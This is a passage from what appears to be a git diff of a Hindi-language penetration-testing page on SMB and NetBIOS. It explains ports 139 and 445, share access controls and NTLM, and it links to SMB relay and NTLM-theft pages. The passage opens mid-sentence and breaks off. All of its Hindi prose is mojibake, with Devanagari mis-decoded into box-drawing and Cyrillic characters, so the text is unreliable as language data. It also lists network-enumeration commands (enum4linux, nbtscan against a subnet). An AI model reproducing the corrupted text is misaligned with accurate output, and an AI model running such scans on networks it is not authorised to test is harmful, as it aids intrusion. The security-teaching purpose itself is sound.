рд╕рдХрддрд╛ рд╣реИред рд╣реИрд╢ рдХреЛ рдлрд┐рд░ рдСрдлрд╝рд▓рд╛рдЗрди рдХреНрд░реИрдХ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ рдпрд╛ [SMB relay attack](pentesting-smb.md#smb-relay-attack) рдореЗрдВ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред [See: ntlm_theft](../windows-hardening/ntlm/places-to-steal-ntlm-creds.md#ntlm_theft) diff --git a/src/network-services-pentesting/pentesting-smb/README.md b/src/network-services-pentesting/pentesting-smb/README.md index 3d89d02c1..87807ba5c 100644 --- a/src/network-services-pentesting/pentesting-smb/README.md +++ b/src/network-services-pentesting/pentesting-smb/README.md @@ -4,13 +4,13 @@ ## **Port 139** -The _**Network Basic Input Output System**_\*\* (NetBIOS)\*\* рдПрдХ рд╕реЙрдлрд╝реНрдЯрд╡реЗрдпрд░ рдкреНрд░реЛрдЯреЛрдХреЙрд▓ рд╣реИ рдЬрд┐рд╕реЗ рд╕реНрдерд╛рдиреАрдп рдХреНрд╖реЗрддреНрд░ рдиреЗрдЯрд╡рд░реНрдХ (LAN) рдХреЗ рднреАрддрд░ рдЕрдиреБрдкреНрд░рдпреЛрдЧреЛрдВ, PCs рдФрд░ рдбреЗрд╕реНрдХрдЯреЙрдк рдХреЛ рдиреЗрдЯрд╡рд░реНрдХ рд╣рд╛рд░реНрдбрд╡реЗрдпрд░ рдХреЗ рд╕рд╛рде рдмрд╛рддрдЪреАрдд рдХрд░рдиреЗ рдФрд░ **рдиреЗрдЯрд╡рд░реНрдХ рдХреЗ рдкрд╛рд░ рдбреЗрдЯрд╛ рдХреЗ рд╕рдВрдЪрд░рдг рдХреЛ рд╕реБрд╡рд┐рдзрд╛рдЬрдирдХ рдмрдирд╛рдиреЗ** рдХреЗ рд▓рд┐рдП рдбрд┐рдЬрд╝рд╛рдЗрди рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред NetBIOS рдиреЗрдЯрд╡рд░реНрдХ рдкрд░ рдХрд╛рдо рдХрд░ рд░рд╣реЗ рд╕реЙрдлрд╝реНрдЯрд╡реЗрдпрд░ рдЕрдиреБрдкреНрд░рдпреЛрдЧреЛрдВ рдХреА рдкрд╣рдЪрд╛рди рдФрд░ рд╕реНрдерд╛рди рдЙрдирдХреЗ NetBIOS рдирд╛рдореЛрдВ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдкреНрд░рд╛рдкреНрдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдЬреЛ 16 рд╡рд░реНрдгреЛрдВ рддрдХ рд▓рдВрдмреЗ рд╣реЛ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ рдЕрдХреНрд╕рд░ рдХрдВрдкреНрдпреВрдЯрд░ рдирд╛рдо рд╕реЗ рднрд┐рдиреНрди рд╣реЛрддреЗ рд╣реИрдВред рджреЛ рдЕрдиреБрдкреНрд░рдпреЛрдЧреЛрдВ рдХреЗ рдмреАрдЪ рдПрдХ NetBIOS рд╕рддреНрд░ рддрдм рд╢реБрд░реВ рд╣реЛрддрд╛ рд╣реИ рдЬрдм рдПрдХ рдЕрдиреБрдкреНрд░рдпреЛрдЧ (рдЬреЛ рдХреНрд▓рд╛рдЗрдВрдЯ рдХреЗ рд░реВрдк рдореЗрдВ рдХрд╛рд░реНрдп рдХрд░рддрд╛ рд╣реИ) "рдХреЙрд▓" рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рджреВрд╕рд░реЗ рдЕрдиреБрдкреНрд░рдпреЛрдЧ (рдЬреЛ рд╕рд░реНрд╡рд░ рдХреЗ рд░реВрдк рдореЗрдВ рдХрд╛рд░реНрдп рдХрд░рддрд╛ рд╣реИ) рдХреЛ **TCP Port 139** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реБрдП рдПрдХ рдЖрджреЗрд╢ рдЬрд╛рд░реА рдХрд░рддрд╛ рд╣реИред +_**рдиреЗрдЯрд╡рд░реНрдХ рдмреЗрд╕рд┐рдХ рдЗрдирдкреБрдЯ рдЖрдЙрдЯрдкреБрдЯ рд╕рд┐рд╕реНрдЯрдо**_** (NetBIOS)** рдПрдХ рд╕реЙрдлрд╝реНрдЯрд╡реЗрдпрд░ рдкреНрд░реЛрдЯреЛрдХреЙрд▓ рд╣реИ рдЬрд┐рд╕реЗ рд╕реНрдерд╛рдиреАрдп рдХреНрд╖реЗрддреНрд░ рдиреЗрдЯрд╡рд░реНрдХ (LAN) рдХреЗ рднреАрддрд░ рдЕрдиреБрдкреНрд░рдпреЛрдЧреЛрдВ, рдкреАрд╕реА рдФрд░ рдбреЗрд╕реНрдХрдЯреЙрдк рдХреЛ рдиреЗрдЯрд╡рд░реНрдХ рд╣рд╛рд░реНрдбрд╡реЗрдпрд░ рдХреЗ рд╕рд╛рде рдмрд╛рддрдЪреАрдд рдХрд░рдиреЗ рдФрд░ **рдиреЗрдЯрд╡рд░реНрдХ рдХреЗ рдкрд╛рд░ рдбреЗрдЯрд╛ рдХреЗ рд╕рдВрдЪрд░рдг рдХреЛ рд╕реБрд╡рд┐рдзрд╛рдЬрдирдХ рдмрдирд╛рдиреЗ** рдХреЗ рд▓рд┐рдП рдбрд┐рдЬрд╝рд╛рдЗрди рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред NetBIOS рдиреЗрдЯрд╡рд░реНрдХ рдкрд░ рдХрд╛рдо рдХрд░ рд░рд╣реЗ рд╕реЙрдлрд╝реНрдЯрд╡реЗрдпрд░ рдЕрдиреБрдкреНрд░рдпреЛрдЧреЛрдВ рдХреА рдкрд╣рдЪрд╛рди рдФрд░ рд╕реНрдерд╛рди рдЙрдирдХреЗ NetBIOS рдирд╛рдореЛрдВ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдкреНрд░рд╛рдкреНрдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдЬреЛ 16 рд╡рд░реНрдгреЛрдВ рддрдХ рд▓рдВрдмреЗ рд╣реЛ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ рдЕрдХреНрд╕рд░ рдХрдВрдкреНрдпреВрдЯрд░ рдирд╛рдо рд╕реЗ рднрд┐рдиреНрди рд╣реЛрддреЗ рд╣реИрдВред рджреЛ рдЕрдиреБрдкреНрд░рдпреЛрдЧреЛрдВ рдХреЗ рдмреАрдЪ рдПрдХ NetBIOS рд╕рддреНрд░ рддрдм рд╢реБрд░реВ рд╣реЛрддрд╛ рд╣реИ рдЬрдм рдПрдХ рдЕрдиреБрдкреНрд░рдпреЛрдЧ (рдЬреЛ рдХреНрд▓рд╛рдЗрдВрдЯ рдХреЗ рд░реВрдк рдореЗрдВ рдХрд╛рд░реНрдп рдХрд░рддрд╛ рд╣реИ) "рдХреЙрд▓" рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рджреВрд╕рд░реЗ рдЕрдиреБрдкреНрд░рдпреЛрдЧ (рдЬреЛ рд╕рд░реНрд╡рд░ рдХреЗ рд░реВрдк рдореЗрдВ рдХрд╛рд░реНрдп рдХрд░рддрд╛ рд╣реИ) рдХреЛ **TCP рдкреЛрд░реНрдЯ 139** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реБрдП рдПрдХ рдХрдорд╛рдВрдб рдЬрд╛рд░реА рдХрд░рддрд╛ рд╣реИред ``` 139/tcp open netbios-ssn Microsoft Windows netbios-ssn ``` ## Port 445 -рддрдХрдиреАрдХреА рд░реВрдк рд╕реЗ, рдкреЛрд░реНрдЯ 139 рдХреЛ 'NBT over IP' рдХреЗ рд░реВрдк рдореЗрдВ рд╕рдВрджрд░реНрднрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдЬрдмрдХрд┐ рдкреЛрд░реНрдЯ 445 рдХреЛ 'SMB over IP' рдХреЗ рд░реВрдк рдореЗрдВ рдкрд╣рдЪрд╛рдирд╛ рдЬрд╛рддрд╛ рд╣реИред рд╕рдВрдХреНрд╖реЗрдк рдореЗрдВ **SMB** рдХрд╛ рдЕрд░реНрде рд╣реИ '**Server Message Blocks**', рдЬрд┐рд╕реЗ рдЖрдзреБрдирд┐рдХ рд░реВрдк рд╕реЗ **Common Internet File System (CIFS)** рдХреЗ рд░реВрдк рдореЗрдВ рднреА рдЬрд╛рдирд╛ рдЬрд╛рддрд╛ рд╣реИред рдПрдХ рдПрдкреНрд▓рд┐рдХреЗрд╢рди-рд▓реЗрдпрд░ рдиреЗрдЯрд╡рд░реНрдХ рдкреНрд░реЛрдЯреЛрдХреЙрд▓ рдХреЗ рд░реВрдк рдореЗрдВ, SMB/CIFS рдХрд╛ рдореБрдЦреНрдп рд░реВрдк рд╕реЗ рдлрд╝рд╛рдЗрд▓реЛрдВ, рдкреНрд░рд┐рдВрдЯрд░реЛрдВ, рд╕реАрд░рд┐рдпрд▓ рдкреЛрд░реНрдЯреНрд╕ рддрдХ рд╕рд╛рдЭрд╛ рдкрд╣реБрдВрдЪ рд╕рдХреНрд╖рдо рдХрд░рдиреЗ рдФрд░ рдиреЗрдЯрд╡рд░реНрдХ рдкрд░ рдиреЛрдбреНрд╕ рдХреЗ рдмреАрдЪ рд╡рд┐рднрд┐рдиреНрди рдкреНрд░рдХрд╛рд░ рдХреА рд╕рдВрдЪрд╛рд░ рд╕реБрд╡рд┐рдзрд╛рдУрдВ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред +рддрдХрдиреАрдХреА рд░реВрдк рд╕реЗ, рдкреЛрд░реНрдЯ 139 рдХреЛ 'NBT over IP' рдХреЗ рд░реВрдк рдореЗрдВ рд╕рдВрджрд░реНрднрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдЬрдмрдХрд┐ рдкреЛрд░реНрдЯ 445 рдХреЛ 'SMB over IP' рдХреЗ рд░реВрдк рдореЗрдВ рдкрд╣рдЪрд╛рдирд╛ рдЬрд╛рддрд╛ рд╣реИред рд╕рдВрдХреНрд╖реЗрдк рдореЗрдВ **SMB** рдХрд╛ рдЕрд░реНрде рд╣реИ '**Server Message Blocks**', рдЬрд┐рд╕реЗ рдЖрдзреБрдирд┐рдХ рд░реВрдк рд╕реЗ **Common Internet File System (CIFS)** рдХреЗ рд░реВрдк рдореЗрдВ рднреА рдЬрд╛рдирд╛ рдЬрд╛рддрд╛ рд╣реИред рдПрдХ рдПрдкреНрд▓рд┐рдХреЗрд╢рди-рд▓реЗрдпрд░ рдиреЗрдЯрд╡рд░реНрдХ рдкреНрд░реЛрдЯреЛрдХреЙрд▓ рдХреЗ рд░реВрдк рдореЗрдВ, SMB/CIFS рдореБрдЦреНрдп рд░реВрдк рд╕реЗ рдлрд╝рд╛рдЗрд▓реЛрдВ, рдкреНрд░рд┐рдВрдЯрд░реЛрдВ, рд╕реАрд░рд┐рдпрд▓ рдкреЛрд░реНрдЯреНрд╕ рддрдХ рд╕рд╛рдЭрд╛ рдкрд╣реБрдВрдЪ рд╕рдХреНрд╖рдо рдХрд░рдиреЗ рдФрд░ рдиреЗрдЯрд╡рд░реНрдХ рдкрд░ рдиреЛрдбреНрд╕ рдХреЗ рдмреАрдЪ рд╡рд┐рднрд┐рдиреНрди рдкреНрд░рдХрд╛рд░ рдХреА рд╕рдВрдЪрд╛рд░ рд╕реБрд╡рд┐рдзрд╛рдУрдВ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, Windows рдХреЗ рд╕рдВрджрд░реНрдн рдореЗрдВ, рдпрд╣ рдЙрдЬрд╛рдЧрд░ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ рдХрд┐ SMB рд╕реАрдзреЗ TCP/IP рдкрд░ рдХрд╛рд░реНрдп рдХрд░ рд╕рдХрддрд╛ рд╣реИ, рдкреЛрд░реНрдЯ 445 рдХреЗ рдЙрдкрдпреЛрдЧ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ TCP/IP рдкрд░ NetBIOS рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рдХреЛ рд╕рдорд╛рдкреНрдд рдХрд░рддрд╛ рд╣реИред рдЗрд╕рдХреЗ рд╡рд┐рдкрд░реАрдд, рд╡рд┐рднрд┐рдиреНрди рдкреНрд░рдгрд╛рд▓рд┐рдпреЛрдВ рдкрд░, рдкреЛрд░реНрдЯ 139 рдХрд╛ рдЙрдкрдпреЛрдЧ рджреЗрдЦрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдЬреЛ рдпрд╣ рд╕рдВрдХреЗрдд рдХрд░рддрд╛ рд╣реИ рдХрд┐ SMB TCP/IP рдкрд░ NetBIOS рдХреЗ рд╕рд╛рде рдорд┐рд▓рдХрд░ рдХрд╛рд░реНрдпрд╛рдиреНрд╡рд┐рдд рдХрд┐рдпрд╛ рдЬрд╛ рд░рд╣рд╛ рд╣реИред ``` @@ -18,7 +18,7 @@ The _**Network Basic Input Output System**_\*\* (NetBIOS)\*\* рдПрдХ рд╕реЙрдл ``` ### SMB -**рд╕рд░реНрд╡рд░ рд╕рдВрджреЗрд╢ рдмреНрд▓реЙрдХ (SMB)** рдкреНрд░реЛрдЯреЛрдХреЙрд▓, рдЬреЛ **рдХреНрд▓рд╛рдЗрдВрдЯ-рд╕рд░реНрд╡рд░** рдореЙрдбрд▓ рдореЗрдВ рдХрд╛рд░реНрдп рдХрд░рддрд╛ рд╣реИ, **рдлрд╛рдЗрд▓реЛрдВ**, рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛рдУрдВ рдФрд░ рдкреНрд░рд┐рдВрдЯрд░ рдФрд░ рд░рд╛рдЙрдЯрд░ рдЬреИрд╕реЗ рдЕрдиреНрдп рдиреЗрдЯрд╡рд░реНрдХ рд╕рдВрд╕рд╛рдзрдиреЛрдВ рддрдХ **рдкрд╣реБрдБрдЪ** рдХреЛ рдирд┐рдпрдВрддреНрд░рд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдбрд┐рдЬрд╝рд╛рдЗрди рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред рдореБрдЦреНрдп рд░реВрдк рд╕реЗ **Windows** рдСрдкрд░реЗрдЯрд┐рдВрдЧ рд╕рд┐рд╕реНрдЯрдо рд╢реНрд░реГрдВрдЦрд▓рд╛ рдХреЗ рднреАрддрд░ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, SMB рдкрд┐рдЫрдбрд╝реЗ рд╕рдВрдЧрддрддрд╛ рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд░рддрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ рдорд╛рдЗрдХреНрд░реЛрд╕реЙрдлреНрдЯ рдХреЗ рдСрдкрд░реЗрдЯрд┐рдВрдЧ рд╕рд┐рд╕реНрдЯрдо рдХреЗ рдирдП рд╕рдВрд╕реНрдХрд░рдгреЛрдВ рд╡рд╛рд▓реЗ рдЙрдкрдХрд░рдг рдкреБрд░рд╛рдиреЗ рд╕рдВрд╕реНрдХрд░рдгреЛрдВ рдХреЗ рд╕рд╛рде рд╕рд╣рдЬрддрд╛ рд╕реЗ рдмрд╛рддрдЪреАрдд рдХрд░ рд╕рдХреЗрдВред рдЗрд╕рдХреЗ рдЕрддрд┐рд░рд┐рдХреНрдд, **Samba** рдкреНрд░реЛрдЬреЗрдХреНрдЯ рдПрдХ рдореБрдлреНрдд рд╕реЙрдлрд╝реНрдЯрд╡реЗрдпрд░ рд╕рдорд╛рдзрд╛рди рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИ, рдЬреЛ SMB рдХреЗ рдХрд╛рд░реНрдпрд╛рдиреНрд╡рдпрди рдХреЛ **Linux** рдФрд░ Unix рд╕рд┐рд╕реНрдЯрдо рдкрд░ рд╕рдХреНрд╖рдо рдмрдирд╛рддрд╛ рд╣реИ, рдЗрд╕ рдкреНрд░рдХрд╛рд░ SMB рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдХреНрд░реЙрд╕-рдкреНрд▓реЗрдЯрдлрд╝реЙрд░реНрдо рд╕рдВрдЪрд╛рд░ рдХреЛ рд╕реБрд╡рд┐рдзрд╛рдЬрдирдХ рдмрдирд╛рддрд╛ рд╣реИред +**рд╕рд░реНрд╡рд░ рд╕рдВрджреЗрд╢ рдмреНрд▓реЙрдХ (SMB)** рдкреНрд░реЛрдЯреЛрдХреЙрд▓, рдЬреЛ **рдХреНрд▓рд╛рдЗрдВрдЯ-рд╕рд░реНрд╡рд░** рдореЙрдбрд▓ рдореЗрдВ рдХрд╛рд░реНрдп рдХрд░рддрд╛ рд╣реИ, рдлрд╝рд╛рдЗрд▓реЛрдВ, рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛рдУрдВ рдФрд░ рдкреНрд░рд┐рдВрдЯрд░ рдФрд░ рд░рд╛рдЙрдЯрд░ рдЬреИрд╕реЗ рдЕрдиреНрдп рдиреЗрдЯрд╡рд░реНрдХ рд╕рдВрд╕рд╛рдзрдиреЛрдВ рддрдХ **рдкрд╣реБрдБрдЪ** рдХреЛ рдирд┐рдпрдВрддреНрд░рд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдбрд┐рдЬрд╝рд╛рдЗрди рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред рдореБрдЦреНрдп рд░реВрдк рд╕реЗ **Windows** рдСрдкрд░реЗрдЯрд┐рдВрдЧ рд╕рд┐рд╕реНрдЯрдо рд╢реНрд░реГрдВрдЦрд▓рд╛ рдХреЗ рднреАрддрд░ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, SMB рдкрд┐рдЫрдбрд╝реЗ рд╕рдВрдЧрддрддрд╛ рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд░рддрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ рдорд╛рдЗрдХреНрд░реЛрд╕реЙрдлреНрдЯ рдХреЗ рдСрдкрд░реЗрдЯрд┐рдВрдЧ рд╕рд┐рд╕реНрдЯрдо рдХреЗ рдирдП рд╕рдВрд╕реНрдХрд░рдгреЛрдВ рд╡рд╛рд▓реЗ рдЙрдкрдХрд░рдг рдкреБрд░рд╛рдиреЗ рд╕рдВрд╕реНрдХрд░рдгреЛрдВ рдХреЗ рд╕рд╛рде рд╕рд╣рдЬрддрд╛ рд╕реЗ рдмрд╛рддрдЪреАрдд рдХрд░ рд╕рдХреЗрдВред рдЗрд╕рдХреЗ рдЕрддрд┐рд░рд┐рдХреНрдд, **Samba** рдкреНрд░реЛрдЬреЗрдХреНрдЯ рдПрдХ рдореБрдлреНрдд рд╕реЙрдлрд╝реНрдЯрд╡реЗрдпрд░ рд╕рдорд╛рдзрд╛рди рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИ, рдЬреЛ **Linux** рдФрд░ Unix рд╕рд┐рд╕реНрдЯрдо рдкрд░ SMB рдХреЗ рдХрд╛рд░реНрдпрд╛рдиреНрд╡рдпрди рдХреЛ рд╕рдХреНрд╖рдо рдмрдирд╛рддрд╛ рд╣реИ, рдЗрд╕ рдкреНрд░рдХрд╛рд░ SMB рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдХреНрд░реЙрд╕-рдкреНрд▓реЗрдЯрдлрд╝реЙрд░реНрдо рд╕рдВрдЪрд╛рд░ рдХреЛ рд╕реБрд╡рд┐рдзрд╛рдЬрдирдХ рдмрдирд╛рддрд╛ рд╣реИред рд╢реЗрдпрд░, рдЬреЛ **рд╕реНрдерд╛рдиреАрдп рдлрд╝рд╛рдЗрд▓ рдкреНрд░рдгрд╛рд▓реА рдХреЗ рдордирдорд╛рдиреЗ рднрд╛рдЧреЛрдВ** рдХрд╛ рдкреНрд░рддрд┐рдирд┐рдзрд┐рддреНрд╡ рдХрд░рддреЗ рд╣реИрдВ, рдПрдХ SMB рд╕рд░реНрд╡рд░ рджреНрд╡рд╛рд░рд╛ рдкреНрд░рджрд╛рди рдХрд┐рдП рдЬрд╛ рд╕рдХрддреЗ рд╣реИрдВ, рдЬрд┐рд╕рд╕реЗ рдХреНрд▓рд╛рдЗрдВрдЯ рдХреЗ рд▓рд┐рдП рд╣рд╛рдпрд░рд╛рд░реНрдХреА рдХреЛ рд╕рд░реНрд╡рд░ рдХреА рд╡рд╛рд╕реНрддрд╡рд┐рдХ рд╕рдВрд░рдЪрдирд╛ рд╕реЗ рдЖрдВрд╢рд┐рдХ рд░реВрдк рд╕реЗ **рд╕реНрд╡рддрдВрддреНрд░** рд░реВрдк рд╕реЗ рджреЗрдЦрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред **рдПрдХреНрд╕реЗрд╕ рдХрдВрдЯреНрд░реЛрд▓ рд▓рд┐рд╕реНрдЯ (ACLs)**, рдЬреЛ **рдкрд╣реБрдБрдЪ рдЕрдзрд┐рдХрд╛рд░** рдХреЛ рдкрд░рд┐рднрд╛рд╖рд┐рдд рдХрд░рддреА рд╣реИрдВ, рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдЕрдиреБрдорддрд┐рдпреЛрдВ рдкрд░ **рд╕реВрдХреНрд╖реНрдо-рдирд┐рдпрдВрддреНрд░рдг** рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреА рд╣реИрдВ, рдЬрд┐рд╕рдореЗрдВ **`execute`**, **`read`**, рдФрд░ **`full access`** рдЬреИрд╕реЗ рдЧреБрдг рд╢рд╛рдорд┐рд▓ рд╣реИрдВред рдпреЗ рдЕрдиреБрдорддрд┐рдпрд╛рдБ рд╢реЗрдпрд░ рдХреЗ рдЖрдзрд╛рд░ рдкрд░ рд╡реНрдпрдХреНрддрд┐рдЧрдд рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдпрд╛ рд╕рдореВрд╣реЛрдВ рдХреЛ рд╕реМрдВрдкреЗ рдЬрд╛ рд╕рдХрддреЗ рд╣реИрдВ, рдФрд░ рдпреЗ рд╕рд░реНрд╡рд░ рдкрд░ рд╕реЗрдЯ рд╕реНрдерд╛рдиреАрдп рдЕрдиреБрдорддрд┐рдпреЛрдВ рд╕реЗ рднрд┐рдиреНрди рд╣реЛрддреА рд╣реИрдВред @@ -36,11 +36,11 @@ IPC$ рд╢реЗрдпрд░ рддрдХ рдкрд╣реБрдБрдЪ рдПрдХ рдЧреБрдордирд╛рдо рд╢реВрдиреН ```bash enum4linux -a target_ip ``` -рдЙрдкрд░реЛрдХреНрдд рдХрдорд╛рдВрдб рдПрдХ рдЙрджрд╛рд╣рд░рдг рд╣реИ рдХрд┐ рдХреИрд╕реЗ `enum4linux` рдХрд╛ рдЙрдкрдпреЛрдЧ рдПрдХ рд▓рдХреНрд╖рд┐рдд `target_ip` рдХреЗ рдЦрд┐рд▓рд╛рдл рдкреВрд░реНрдг рдПрдиреНрдпреВрдорд░реЗрд╢рди рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред +рдЙрдкрд░реЛрдХреНрдд рдХрдорд╛рдВрдб рдПрдХ рдЙрджрд╛рд╣рд░рдг рд╣реИ рдХрд┐ `enum4linux` рдХрд╛ рдЙрдкрдпреЛрдЧ `target_ip` рджреНрд╡рд╛рд░рд╛ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рд▓рдХреНрд╖реНрдп рдХреЗ рдЦрд┐рд▓рд╛рдл рдкреВрд░реНрдг рдПрдиреНрдпреВрдорд░реЗрд╢рди рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХреИрд╕реЗ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред ## NTLM рдХреНрдпрд╛ рд╣реИ -рдпрджрд┐ рдЖрдк рдирд╣реАрдВ рдЬрд╛рдирддреЗ рдХрд┐ NTLM рдХреНрдпрд╛ рд╣реИ рдпрд╛ рдЖрдк рдЬрд╛рдирдирд╛ рдЪрд╛рд╣рддреЗ рд╣реИрдВ рдХрд┐ рдпрд╣ рдХреИрд╕реЗ рдХрд╛рдо рдХрд░рддрд╛ рд╣реИ рдФрд░ рдЗрд╕рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХреИрд╕реЗ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ, рддреЛ рдЖрдк **NTLM** рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЗрд╕ рдкреГрд╖реНрда рдХреЛ рдмрд╣реБрдд рджрд┐рд▓рдЪрд╕реНрдк рдкрд╛рдПрдВрдЧреЗ рдЬрд╣рд╛рдБ **рдЗрд╕ рдкреНрд░реЛрдЯреЛрдХреЙрд▓ рдХреЗ рдХрд╛рдо рдХрд░рдиреЗ рдХрд╛ рддрд░реАрдХрд╛ рдФрд░ рдЖрдк рдЗрд╕рдХрд╛ рд▓рд╛рдн рдХреИрд╕реЗ рдЙрдард╛ рд╕рдХрддреЗ рд╣реИрдВ, рд╕рдордЭрд╛рдпрд╛ рдЧрдпрд╛ рд╣реИ:** +рдпрджрд┐ рдЖрдк рдирд╣реАрдВ рдЬрд╛рдирддреЗ рдХрд┐ NTLM рдХреНрдпрд╛ рд╣реИ рдпрд╛ рдЖрдк рдЬрд╛рдирдирд╛ рдЪрд╛рд╣рддреЗ рд╣реИрдВ рдХрд┐ рдпрд╣ рдХреИрд╕реЗ рдХрд╛рдо рдХрд░рддрд╛ рд╣реИ рдФрд░ рдЗрд╕рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХреИрд╕реЗ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ, рддреЛ рдЖрдк рдЗрд╕ рдкреГрд╖реНрда рдХреЛ рдмрд╣реБрдд рджрд┐рд▓рдЪрд╕реНрдк рдкрд╛рдПрдВрдЧреЗ рдЬреЛ **NTLM** рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рд╣реИ рдЬрд╣рд╛рдБ **рдЗрд╕ рдкреНрд░реЛрдЯреЛрдХреЙрд▓ рдХреЗ рдХрд╛рдо рдХрд░рдиреЗ рдХрд╛ рддрд░реАрдХрд╛ рдФрд░ рдЖрдк рдЗрд╕рдХрд╛ рд▓рд╛рдн рдХреИрд╕реЗ рдЙрдард╛ рд╕рдХрддреЗ рд╣реИрдВ, рд╕рдордЭрд╛рдпрд╛ рдЧрдпрд╛ рд╣реИ:** {{#ref}} ../../windows-hardening/ntlm/ @@ -48,15 +48,15 @@ enum4linux -a target_ip ## **рд╕рд░реНрд╡рд░ рдПрдиреНрдпреВрдорд░реЗрд╢рди** -### **рд╕реНрдХреИрди** рдХрд░рддреЗ рд╣реБрдП рдиреЗрдЯрд╡рд░реНрдХ рдореЗрдВ рд╣реЛрд╕реНрдЯ рдХреА рдЦреЛрдЬ рдХрд░реЗрдВ: +### **рд╕реНрдХреИрди** рдПрдХ рдиреЗрдЯрд╡рд░реНрдХ рдореЗрдВ рд╣реЛрд╕реНрдЯ рдХреА рдЦреЛрдЬ рдХрд░рддреЗ рд╣реБрдП: ```bash nbtscan -r 192.168.0.1/24 ``` ### SMB рд╕рд░реНрд╡рд░ рд╕рдВрд╕реНрдХрд░рдг -SMB рд╕рдВрд╕реНрдХрд░рдг рдХреЗ рд▓рд┐рдП рд╕рдВрднрд╛рд╡рд┐рдд рдПрдХреНрд╕рдкреНрд▓реЙрдЗрдЯреНрд╕ рдХреА рддрд▓рд╛рд╢ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдпрд╣ рдЬрд╛рдирдирд╛ рдорд╣рддреНрд╡рдкреВрд░реНрдг рд╣реИ рдХрд┐ рдХреМрди рд╕рд╛ рд╕рдВрд╕реНрдХрд░рдг рдЙрдкрдпреЛрдЧ рдореЗрдВ рд╣реИред рдпрджрд┐ рдпрд╣ рдЬрд╛рдирдХрд╛рд░реА рдЕрдиреНрдп рдЙрдкрдпреЛрдЧ рдХрд┐рдП рдЧрдП рдЙрдкрдХрд░рдгреЛрдВ рдореЗрдВ рдирд╣реАрдВ рджрд┐рдЦрд╛рдИ рджреЗрддреА рд╣реИ, рддреЛ рдЖрдк: +SMB рд╕рдВрд╕реНрдХрд░рдг рдХреЗ рд╕рдВрднрд╛рд╡рд┐рдд рд╢реЛрд╖рдгреЛрдВ рдХреА рддрд▓рд╛рд╢ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдпрд╣ рдЬрд╛рдирдирд╛ рдорд╣рддреНрд╡рдкреВрд░реНрдг рд╣реИ рдХрд┐ рдХреМрди рд╕рд╛ рд╕рдВрд╕реНрдХрд░рдг рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд░рд╣рд╛ рд╣реИред рдпрджрд┐ рдпрд╣ рдЬрд╛рдирдХрд╛рд░реА рдЕрдиреНрдп рдЙрдкрдпреЛрдЧ рдХрд┐рдП рдЧрдП рдЙрдкрдХрд░рдгреЛрдВ рдореЗрдВ рдирд╣реАрдВ рджрд┐рдЦрд╛рдИ рджреЗрддреА рд╣реИ, рддреЛ рдЖрдк: -- **MSF** 